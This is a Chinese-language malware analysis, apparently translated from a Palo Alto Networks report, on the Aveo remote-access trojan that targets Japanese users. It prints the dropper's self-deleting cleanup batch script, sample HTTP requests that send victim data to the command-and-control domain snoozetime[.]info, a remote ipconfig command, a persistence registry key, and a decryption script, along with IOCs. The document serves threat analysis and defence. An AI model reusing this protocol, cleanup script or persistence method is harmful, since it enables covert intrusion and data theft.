Aveo恶意软件分析

kong 2016-12-04 19:46:20

Palo Alto Networks 发现了一个名为 Aveo 的恶意软件家族,它针对日语用户开发。Aveo 的名字来自于其二进制文件中的嵌入式调试字符串。Aveo 恶意软件家族与 ForrmerFirstRAT 恶意软件家族有密切的联系,二者都针对日语用户。Aveo    会伪装成 Microsoft Excel 文档,并在执行时抛出诱饵文件。诱饵文档与埼玉工業大学 Ido 实验室的研究有关。执行后,Aveo 可以接收多种命令,这将允许攻击者完全控制感染主机。

部署

Aevo 的样本会伪装成 Microsoft Excel 文档,如下图所示。值得注意的是,malware.exe 只是一个占位符,原文件名未知。

该可执行文件其实是一个 WinRAR 的自解压可执行文件,它会在执行时抛出诱饵文档和 Aveo 木马来运行。下图就是抛出的诱饵文档,在运行之后打开:

这个诱饵文档是关于 Ido 实验室 2016 年研究立项的信息。该文件列出了 16 名参加 CAVE 的名单,包括名字、单位以及邮件地址。这个文档用日语书写,文件名也是日文 CAVE研究会参加者.xls,这些都表明该恶意软件是针对日语用户的。此外,Aveo 和 FormerFirstRAT 家族的相似性将会在稍后讨论,这个讨论将进一步支持该恶意软件是针对日语用户的。

基础设施

Aveo 木马配置了以下域名来进行 HTTP 通信:

snoozetime[.]info

jack.ondo@mail.com 最早在 2015 年 5 月就注册了,自那时起,该邮箱已经和以下三个 IP 地址关联上了:

104.202.173[.]82
107.180.36[.]179
50.63.202[.]38

所有这些 IP 地址都位于美国境内。

从 snoozetime[.]info 的 WHOIS 信息来看,注册邮箱为jack.ondo@mail[.]com,注册名为aygt5ruhrj aygt5ruhrj gerhjrt。根据这两条线索进行拓展:

bluepaint[.]info
coinpack[.]info
7b7p[.]info
donkeyhaws[.]info
europcubit[.]com
jhmiyh.ny@gmail[.]com
844148030@qq[.]com


恶意软件分析

在自解压可执行文件运行后,一系列的文件释出到文件系统中,其执行流如下:

当 mshelp32.exe 可执行程序运行时,首先读取setting32.ini 文件,其中包含着诱饵文档的名字。这一信息被用来构建一个批处理脚本,如下:

@echo off
copy "CAVE研究会参加者.xls" "C:\Documents and Settings\Administrator\Desktop\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.xls" /Y
del "CAVE研究会参加者.xls" /F /Q
del mshelp32.exe /F /Q
del setting32.ini /F /Q
del "C:\Documents and Settings\Administrator\Desktop\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.exe"  /F /Q
del %0 /F /Q

该批处理脚本在一个新的进程中执行,在 Aveo 运行、诱饵文档释放后执行清理工作。

Aveo 恶意软件家族

Aveo 恶意软件会在开始运行一个安装程序,该程序会复制自身到以下位置:%APPDATA%\MMC\MMC.exe如果因为某种原因,%APPDATA%\MMC 目录不能被创建,Aveo 将会使用 %TEMP% 来代替 %APPDATA%。恶意软件自身复制完成后,将会在新的进程中以原文件名为参数执行 MMC.exe。当执行时,如果提供了这单个参数,恶意软件将会删除掉制定路径内的文件。安装完成后,Aveo 将会提取以下受害人信息通过 HTTP 传到远程控制服务器上:

Unique victim hash
IP Address
Microsoft Windows version
Username
ANSI code page identifier

这个信息被送到 snoozetime[.]info上,像下面的 HTTP 请求样例:

GET /index.php?id=35467&1=ySxlp03YGm0-&2=yiFi6hjbFHf9UtL44RPQ&4=zTZh6h7bHGjiUMzn&5=sXcjrAmqXiyiGJWzuUQ-&6=yipl9g-- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Cache-Control: no-cache

恶意软件使用了 RC4 来对数据进行加密,使用 hello作为密钥。如下图所示,Aveo 和 FormerFirstRAT 的加密部分几乎是相同的,只s是算法和密钥变了。

可以通过以下代码来解密 HTTP 中传输的数据:

import base64
from binascii import *
from struct import *
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt

CALG_RC4 = 0x6801
CALG_MD5 = 0x8003

def decrypt(data):
  md5_hasher = CryptCreateHash(CALG_MD5)
  CryptHashData(md5_hasher, 'hello')
  generated_key = CryptDeriveKey(md5_hasher, CALG_RC4)
  decrypted_data = CryptDecrypt(generated_key, data)
  return decrypted_data

for a in 'index.php?id=35467&1=niBo9x/bFG4-&2=yi9i6hjbAmD5TNPu5A--&4=zTZh6h7bHGjiUMzn&5=sXcjrAmqXiyiGJWzuUQ-&6=yipl9g--'.split("&")[1:]:
  k,v = a.split("=")
  decrypted = decrypt(base64.b64decode(v.replace("-","=")))
  print "[+] Parameter {} Decrypted: {}".format(k, decrypted)

运行以上代码会产生以下结果:

[+] Parameter 1 Decrypted: e8836687
[+] Parameter 2 Decrypted: 172.16.95.184
[+] Parameter 4 Decrypted: 6.1.7601.2.1
[+] Parameter 5 Decrypted: Josh Grunzweig
[+] Parameter 6 Decrypted: 1252

在得到受害者信息后,恶意软件会按照预期返回 OK。之后 Aveo 将会产生一个新的线程来负责处理 C&C 服务器的命令,以及请求产生的交互式 Shell。Aveo 对注册表进行以下设置,以指向恶意软件的路径,从而保证重新启动后恶意软件仍然可以持久工作:HKCU\software\microsoft\windows\currentversion\run\msnetbridge然后命令处理程序进入轮询等待,Aveo 会从 C&C 服务器接收命令。虽然 Aveo 在等待响应,它也会执行随机延迟,延迟时间在    0 到 3276 毫秒之间。如果 C&C 服务器返回 toyota,会将间隔设置为 60 秒。Aveo 可以接收以下命令:

1.执行交互 Shell 命令

2.获取文件属性

3.写入文件

4.读取文件

5.驱动器列表

6.对路径执行 DIR 命令
以下请求显示了 C&C 服务器发送 ipconfig 命令到 Aveo 的过程:

C&C 请求

GET /index.php?id=35468&1=niBo9x/bFG4- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Cache-Control: no-cache

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 11
Server: Werkzeug/0.11.10 Python/2.7.5
Date: Wed, 10 Aug 2016 16:00:11 GMT

\xca89\xb4J\x82B?\xa5\x05\xe8

[Decrypted] 
1 ipconfig
Aveo 响应

POST /index.php?id=35469&1=niBo9x/bFG4- HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: snoozetime[.]info
Content-Length: 1006
Cache-Control: no-cache

\xca\x38\x39\xb4\x4a\x82\x42\x3f\xa5\x05\xe8\xdb\xda\x74\x8b\x79\x39\x46\xf2\x42\x1f\xcd\x39\xf3\x65\x1d\xda\x49\x40\x6c\x5e\x6e\xab\x79\xc2\x44\xc3\xb0\x12\xfd\xe2\x84\x67\x0d\xa5\xd3\x50\x2d\x1c\x31\x4a\x9e\xcb\x3d\x08\xe6\x1b\x04\x85\xbf\x11\x0e\x96\x63\xcf\x71\xfe\xe4\x97\x2a\xdc\x12\x23\x4d\xcb\x0f\x93\x30\xbc\xa0\xc8\x4e\x4e\xd8\xdb\x33\xa2\xbe\xff\x5e\x89\x22\xb9\x16\xd1\xf0\x60\x71\x64\x7a\x10\xb8\x78\x76\xe5\x08\x90\x46\x30\xa3\xe2\x4e\xdc\x98\x11\x27\x62\x38\x00\xb4\x54\x6d\xd7\x5b\x19\x5f\x19\xb8\xd1\xf5\xc1\x9b\x97\xda\x84\x2c\xdd\x2d\x97\x0a\x69\x51\xd9\x31\x77\x4a\xe2\x7f\x5e\xc5\xaf\x02\x3c\x69\x9c\x5f\x94\x3e\x0c\x25\xce\x63\xa9\x43\xff\x34\x25\x42\x95\xa9\x1f\xaa\xdf\x2b\xa7\xb1\xc0\x3
[Truncated]

[Decrypted]
1 ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
[Truncated]

结论

Aveo 与 FormerFirstRAT 在多个特征上都是一致的,包括加密模块、代码重用和 C&C 功能。正如前面讨论的 FormerFirstRAT 样本,这个恶意软件家族看起来也是针对日语用户。使用自解压文件的 WinRAR 释放诱饵文档和 Aveo 的恶意软件副本以及清理脚本。Palo Alto Networks 的客户已经免受以下威胁:

1.AutoFocus 已经对这种威胁创建了跟踪和监控

2.WildFire 归类 Aveo 到恶意程序

3.C&C 域名列入 Threat Prevention 拦截黑名单
IOC

SHA256 哈希

9dccfdd2a503ef8614189225bbbac11ee6027590c577afcaada7e042e18625e2
8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d

C&C 域名

snoozetime[.]info
注册表键值

HKCU\software\microsoft\windows\currentversion\run\msnetbridge
文件路径

%APPDATA%\MMC\MMC.exe
%TEMP%\MMC\MMC.exe